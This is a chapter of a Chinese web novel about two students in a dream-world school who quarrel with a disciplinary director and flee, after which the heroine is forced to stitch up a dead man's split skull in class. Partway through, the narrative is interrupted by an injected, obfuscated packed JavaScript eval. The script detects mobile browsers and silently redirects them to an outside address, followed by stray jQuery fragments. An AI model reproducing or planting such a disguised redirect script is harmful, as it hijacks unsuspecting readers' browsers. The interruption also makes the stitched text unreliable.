20. 校规(九)

作品:《梦境闯关大作战

    “你们两个在这里干什么?”


    不合时宜的声响打破了两人之间的平和,宋洹默和潼燏转过头齐齐朝着声音的方向看去。


    一个穿着黑色夹克梳着大背头的中年男人拿着一根黄色的戒尺大摇大摆地走进了亭子里。


    他抬起手扶了扶鼻梁上的黑色镜框,耷拉的双眼精准地捕捉到了潼燏手上拿着的红色玫瑰。


    只一眼,他便化身为金牌编剧,颠三倒四的脑海里自动想象出了一场两个学生翘课后手牵手跑到这里谈情说爱的戏码。


    简直是不堪入目!


    他越想越恼火,指着两人火冒三丈道:“你们两个竟敢在这里私会,真是不要脸!说,你们哪个班的!”


    啥?不要脸?


    潼燏无端被骂,战斗力瞬间拉满,瞪着他回骂道:“喂,你谁啊你,你是吃屎了吗,嘴这么臭。”


    “你,你竟敢骂我。”


    男人见她居然敢回嘴,气得眼歪嘴斜,一把夺走潼燏手中的玫瑰,像是抓住了真相般提高了音量:“证据都有了还不承认你们是在私会,说,你哪个班的,我要好好问问你们班主任,他平时是怎么管教学生的!一点规矩都没有!简直就是我们学校的败类!”


    这人谁啊,说话这么牛掰,潼燏像看疯子似的看着他,不屑地瞄了一眼男人夹克上别着的名牌。


    我去?政教主任!


    那可真惹不起。


    潼燏立刻转变态度,敷衍道:“不好意思啊老师,我们现在就回去上课。”


    “上课?你们这两个……”


    “拿朵花就是私会?”宋洹默打断了男人的话,上前挡在了潼燏的面前。


    男人比他整整矮了一个头,他头也不低地垂眸看着对方嘲讽道:“那你现在拿着花站在这里,是想跟谁私会。”


    “你,你说什么?你竟敢这么跟我说话。”政教主任被他气得浑身发抖,一时间想不出话语反驳,索性抓着花狠狠地往地上一砸,红色的玫瑰花瓣瞬间似雨滴般在地上散开,星星点点地落了一地。


    宋洹默看着地上破碎的玫瑰花瓣,清明的眼眸逐渐被戾气覆盖,他看到男人的黑色皮鞋踩在了花瓣上,眉头一皱,捏紧了拳头命令道:“你给我捡起来。”


    潼燏见他面色阴沉,意识到他是真的生气了,连忙拉住他的手臂安抚道:“算了算了,我们不跟他计较,先离开这里吧。”


    “我不走,要走你自己走。”宋洹默甩开她的手,大步上前盯着男人的眼睛一字一句道,“你给我捡起来。”


    政教主任被他的气势吓到,畏缩地往后退了一步,声量逐渐小了下去:“我凭什么捡,你们两个在这里私会,我要上报给校长,把你们都开除。”


    “呵,你有本事先走出这里。”宋洹默眸色一暗,伸出手开始聚精凝神。


    他不是喜欢砸花吗,那他就礼尚往来,给他这满脸油光的脸上送上一盆满满都是尖刺的仙人掌。


    “哎呀,这学校里的老师没一个正常的,一个个都跟吃了炸药似的,你现在控梦之力还不稳定,我们别搭理他,走就是了。”潼燏知道他的倔劲又上来了,直接伸出手牵住了他的手掌,强行拉着他走出了亭子。


    “你......”酝酿到一半的思绪被打断,宋洹默震惊地看着自己的手被潼燏牵在了手里,浑身的怒气瞬间烟消云散,像个失去行动力的人机般任由她拉着走。


    “你们给我站住!”


    政教主任见他们要跑,大喊着追了上来。


    “烦不烦啊你。”潼燏见他纠缠不休,立马拉着宋洹默朝前跑去,两人一路疾跑冲进了教学楼,身后的男人连他们的影子都没看着。


    一口气冲上三楼,潼燏气喘吁吁地停在走廊上,撑着膝盖大喘着气。


    自从入梦以来运动量实在是太大了,从上一个梦开始就跑个没完,她都快被锻炼出百米赛跑的速度了。


    宋洹默倒是一点事都没有,站在楼道里连气都不带喘的,整个人神采奕奕,不知道的还以为他刚睡醒起床呢。


    “一看你平时就不锻炼,跑这么几步就累了。”


    宋洹默一边吐槽着一边伸出手想要搀扶她,刚伸到一半,潼燏却一个起身站直了身体,喘着粗气澄清道:“这么几步?拜托,我们是从后山一路跑过来的,少说也得有一千米了,再说了,我这不是一直在锻炼呢,在你的梦里,我就没停下来休息过。”


    宋洹默见她累得不行还有力气斗嘴,嘴角不由得浮现出了一丝笑意,收回手抬了抬下巴,淡淡道:“那你先回教室休息一下,其他的事待会再说。”


    “行,我确实需要好好休息一下。”潼燏深深地吐了口气,抬头看了眼教室上的门牌,“你也回去上课吧,反正现在也找不到什么头绪。”


    “嗯,我先进去了。”宋洹默点了点头,走进了隔壁教室。


    “叮铃铃。”


    上课铃声正好响起,他施施然地走到第三排的位置上坐下,右手的余温还未消散,他握了握拳,眼底闪过了一丝微不可察的笑意。


    门外的潼燏整理了一下身上皱皱巴巴的校服,跟个没事人似的走进了自己的教室里,没成想屁股还没贴到板凳,一道黄色的戒尺就狠狠地拍在了她的桌上。


    她抬头一看,秃头班主任在他为数不多的头发里拔下一根摇摇欲坠的发丝,放在手里一吹,幽幽道:“你,连名次都没有的人,你今天第一个上台缝合,要是缝得好的话,我给你一百分,要是没缝好,哼哼,倒扣你两百。”


    “缝合?我?”潼燏眨巴着无辜的双眼,一脸单纯地指着自己婉拒道,“老师,我连名次都没有,学习成绩这么差,我还是不上去丢人了,你直接扣我两百分吧。”


    “成绩差还不上去多练练,就因为你,我们班的平均成绩直接拉低了一个档次,害得我今年都没评上年度优秀教师,你赶紧给我上去,这次再缝不好,别说扣分了,你直接给我滚出去,以后上课都在外面给我站着听。”秃头班主任被她懒散的态度气到爆炸,浮肿的双眼顿时又肿了一圈。


    缝合?不会还是昨天那具人体吧……


    潼燏一想到那血淋淋的人体,不禁打了个冷颤,苦着一张脸继续拒绝道:“老师,我不行,我真的一点都不会,要不我还是出去听课吧。”


    说完她便主动站起身,十分自觉地朝着门口走去。


    “啪!”


    戒尺再次重重地拍在了她的桌上,秃头班主任举起尺子,眯着眼放在了她的脑袋上,皮笑肉不笑地威胁道:“你去不去?”


    “去去去,我现在就去。”


    潼燏勉为其难地停住了脚步,心惊胆战地朝着讲台上走去。


    昨天她已经见识过解剖课上的血腥场景,今天不知道又有什么骇人的场面会出现。


    求求了,拜托上点正常的课吧。


    她一边祈祷着一边走到了讲台上,只见一个赤裸着上半身看起来四十几岁的男人规规矩矩地坐在讲台的高椅上,下半身裹着一块白色的布单。


    他双手搭在膝盖上,孤零零地坐在椅子上转动着灰白色的眼珠,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177389|161139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乍一看,跟常人没什么两样。


    但可怕的是,他眼睛以上的脑袋部分以鼻子为界分成了两半,一半正常,另一半却被劈开了脑壳,白色的头骨连带着头皮一起耷拉了下来,粉红色的脑花还在不断地往下流着透明的液体。


    男人察觉到来人,灰白色的瞳孔一转,看到了走来的潼燏,像抓住了救命稻草般哀嚎着抬起惨白的双手向她求救道:“啊,好痛,我的头好痛啊,小姑娘,你能帮帮我吗?”


    “啊!”潼燏虽然已经做好了强大的心理准备,但还是被眼前这惊悚的一幕吓到。


    一个看似活生生的人脑袋半开地向她求救,但凡换个心理素质差的都能当场吓晕过去。


    我滴个老天爷啊,这剧情就不能对她友好一点吗?非得搞这么恐怖干什么。


    她绝望地闭了闭眼,不敢看他的脑袋,抓着自己的衣摆,弱弱地回复道:“对不起啊大哥,我很想帮你,但我不会,我没学过医。”


    “没事。”男人眨着眼对她Wink了一下,一改刚才的痛楚嬉笑道,“骗你的啦,我都死了,怎么可能还感觉得到痛,你大胆来,只要帮我把头皮缝上就行。”


    倒反天罡,男人竟然还安慰起了她。


    潼燏听他说话很是热情,鼓起勇气看了眼他头上骇人的伤口,总觉得他是在强颜欢笑。


    她忽然有些愧疚,要是她真的是个医生就好了。


    那样的话,她就可以帮他治疗伤口了。


    “小姑娘,没事的,你大胆缝。”男人笑呵呵地宽慰着她,缝个脑袋对他来说简直是家常便饭,他这脑瓜子开了缝,缝了开,技术再烂也对他造不成什么伤害。


    潼燏听了他的话,不再害怕,拿起讲台上的医用手套整整齐齐地戴好,低头在铁盘里找了一会,举起一根缝合针问道:“大哥,是用这个缝吗?”


    “没错,你再把那根白色的线穿上,就跟缝衣服一样把我的头皮缝上就行。”男人十分老练地指了指盘子里的线,嘱咐道,“就拿这根最粗的,牢固又不容易散。”


    “呃......好。”


    潼燏在他的指挥下拿起缝合线穿进了针里,这动作让她觉得自己好像真的只是在穿针缝衣服,但一转身看到男人半露的脑花,刚稳定下来的手又止不住抖了起来。


    男人见她如此紧张,灵机一动,转了转眼珠子问道:“你知道恐怖片里诡异的房子里为什么总会有钢琴吗?”


    潼燏被他这无厘头的一问懵住了,心不在焉道:“可能......鬼爱弹钢琴?”


    “哈哈哈不对,因为......钢琴住了几个妖,哈哈哈哈哈。”男人说完答案,止不住地哈哈大笑了起来,这是他库存里最好笑的一个,还没逗乐别人,自己就已经笑得不行。


    “哈哈,挺好笑的。”潼燏配合着尬笑了两声,这谐音梗实在是太冷了,冷得她手抖得更厉害了。


    “哈哈哈哈哈,太好笑了。”男人笑得根本停不下来,一边大笑着一边捶腿,苍白的身体一颤一颤,头上的粉色脑花也跟着抖动了起来,流淌下来的白色液体跟随着他的动作,洋洋洒洒地溅在了腿上的白色布单上。


    潼燏看得心也跟着一颤一颤,生怕这半开的脑花被他笑得掉下来,连忙伸出手一边接着一边阻止道:“哥,你别笑了,我害怕。”


    “哈哈哈好,我不笑了,你动手吧。”男人勉强止住了笑容,紧抿着嘴,抬手擦了擦眼角浑浊的泪水。


    “好,我开始了。”


    潼燏深吸了一口气,决定搏一搏。